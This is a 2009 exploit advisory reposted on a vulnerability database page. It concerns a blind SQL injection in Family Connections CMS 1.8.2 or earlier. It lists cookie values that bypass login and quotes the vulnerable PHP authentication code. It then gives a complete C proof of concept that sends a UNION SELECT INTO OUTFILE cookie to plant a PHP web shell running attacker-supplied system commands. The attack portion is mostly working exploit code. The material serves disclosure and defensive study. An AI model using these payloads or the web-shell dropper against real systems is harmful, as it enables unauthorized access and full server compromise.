Lucene search
K

Family Connections CMS <= 1.8.2 - Blind SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

Family Connections CMS <= 1.8.2 - Blind SQL Injection Vulnerability found in inc/util_inc.php allows guest to bypass authentication system using a specific cookie. Remote command execution vulnerability also present in the code

Code

                                                *******   Salvatore &#34;drosophila&#34; Fresta   *******

[+] Application: Family Connections
[+] Version: &#60;= 1.8.2
[+] Website: http://www.familycms.com

[+] Bugs: [A] Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 1 Apr 2009

[+] Discovered by: Salvatore &#34;drosophila&#34; Fresta
[+] Author: Salvatore &#34;drosophila&#34; Fresta
[+] Contact: e-mail: [email protected]


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Blind SQL Injection

[-] File affected: inc/util_inc.php

Usually an SQL injection vulnerability located in the
authentication system allows a guest to bypass it, and
this is just what happens using the following cookie:

Cookie name: fcms_login_id
Cookie content: -1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,&#39;admin&#39;,&#39;password&#39;,12,13,14,15,16,17,18,19,20,21,22
Cookie server: localhost (change it)
Cookie path: /

Cookie name: fcms_login_uname
Cookie content: admin
Cookie server: localhost (change it)
Cookie path: /

Cookie name: fcms_login_pw
Cookie content: password
Cookie server: localhost (change it)
Cookie path: /

Anyway the values contained in the previous cookies 
are used also by other functions and queries and so 
is not possible to surf on the vulnerable website 
with such permissions because the CMS interrupts the 
sessions each time a SQL error is encountered.
For this reason the possibility to write the result 
of the SQL queries on the files is handy to bypass 
this limitation.

The follows is the vulnerable code:

...

elseif (isset($_COOKIE[&#39;fcms_login_id&#39;])) {
	if (isLoggedIn($_COOKIE[&#39;fcms_login_id&#39;], $_COOKIE[&#39;fcms_login_uname&#39;], $_COOKIE[&#39;fcms_login_pw&#39;])) {
		$_SESSION[&#39;login_id&#39;] = $_COOKIE[&#39;fcms_login_id&#39;];
		$_SESSION[&#39;login_uname&#39;] = $_COOKIE[&#39;fcms_login_uname&#39;];
		$_SESSION[&#39;login_pw&#39;] = $_COOKIE[&#39;fcms_login_pw&#39;];
	}
	
...

in util_inc.php:

function isLoggedIn ($userid, $username, $password) {
	$result = mysql_query(&#34;SELECT * FROM `fcms_users` WHERE `id` = $userid LIMIT 1&#34;) or die(&#39;&#60;h1&#62;Login Error (util.inc.php 275)&#60;/h1&#62;&#39; . mysql_error());
	if (mysql_num_rows($result) &#62; 0) {
		$r = mysql_fetch_array($result);
		if ($r[&#39;username&#39;] !== $username) { return false; } elseif ($r[&#39;password&#39;] !== $password) { return false; } else { return true; }
	} else {
		return false;
	}
}


*************************************************

[+] Code


- [A] Blind SQL Injection

/*

	Family Connections &#60;= 1.8.2 - Remote Command Execution
	
	Proof of Concept - Written by Salvatore &#34;drosophila&#34; Fresta

	The following software will create a file (rce.php) in the
	specified path using Blind SQL Injection bug. To exec remote
	commands, you must open the file using a browser.
	
*/	

#include &#60;string.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdio.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;unistd.h&#62;
#include &#60;netdb.h&#62;

int socket_connect(char *server, int port) {

	int fd;
	struct sockaddr_in sock;
	struct hostent *host;
	
	memset(&sock, 0, sizeof(sock));
	
	if((fd = socket(AF_INET, SOCK_STREAM, 0)) &#60; 0) return -1;
	
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	
	if(!(host=gethostbyname(server))) return -1;
	
	sock.sin_addr = *((struct in_addr *)host-&#62;h_addr);
	
	if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) &#60; 0) return -1;
	
	return fd;
   
}

int socket_send(int socket, char *buffer, size_t size) {
	
	if(socket &#60; 0) return -1;

	return write(socket, buffer, size) &#60; 0 ? -1 : 0;
	
}

void usage(char *bn) {

	printf(&#34;\n\nFamily Connections &#60;= 1.8.2 - Remote Command Execution\n&#34;
			&#34;Proof of Concept - Written by Salvatore \&#34;drosophila\&#34; Fresta\n\n&#34;
			&#34;usage: %s &#60;server&#62; &#60;path&#62; &#60;fs path&#62;\n&#34;
			&#34;example: %s localhost /fcms/ /var/www/htdocs/fcms/\n\n&#34;, bn, bn);	

}

int main(int argc, char *argv[]) {
	
	int sd;
	char code[] = &#34;&#39;&#60;?php echo \&#34;&#60;pre&#62;\&#34;%3b system($_GET[cmd])%3b echo \&#34;&#60;/pre&#62;&#60;br&#62;&#60;br&#62;\&#34;%3b?&#62;&#39;&#34;,
		*buffer; 
	
	if(argc &#60; 4) {
		usage(argv[0]);
		return -1;
	}
	
	if(!(buffer = (char *)calloc(216+strlen(argv[1])+strlen(argv[2])+strlen(argv[3]), sizeof(char)))) {
		perror(&#34;calloc&#34;);
		return -1;
	}
	
	sprintf(buffer,	&#34;GET %shome.php HTTP/1.1\r\n&#34;
					&#34;Host: %s\r\n&#34;
					&#34;Cookie: fcms_login_id=-1 UNION ALL SELECT %s,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE &#39;%srce.php&#39;#\r\n\r\n&#34;,
					argv[2], argv[1], code, argv[3]);
					
	printf(&#34;\n[*] Connecting...&#34;);
	
	if((sd = socket_connect(argv[1], 80)) &#60; 0) {
		perror(&#34;[-] Connection failed&#34;);
		free(buffer);
		return -1;
	}
	
	printf(&#34;\n[+] Connected&#34;
			&#34;\n[*] Sending...&#34;);
	
	if(socket_send(sd, buffer, strlen(buffer)) &#60; 0) {
		perror(&#34;[-] Sending failed&#34;);
		free(buffer);
		return -1;
	}
	
	printf(&#34;\n[+] Sent\n\n&#34;
			&#34;Open your browser and  try to connect to http://%s%srce.php?cmd=ls\n\n&#34;, argv[1], argv[2]);
			
	recv(sd, buffer, 1, 0);
	
	close(sd);
	free(buffer);
	
	printf(&#34;[+] Connection closed\n\n&#34;);
	
	return 0;
	
}


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation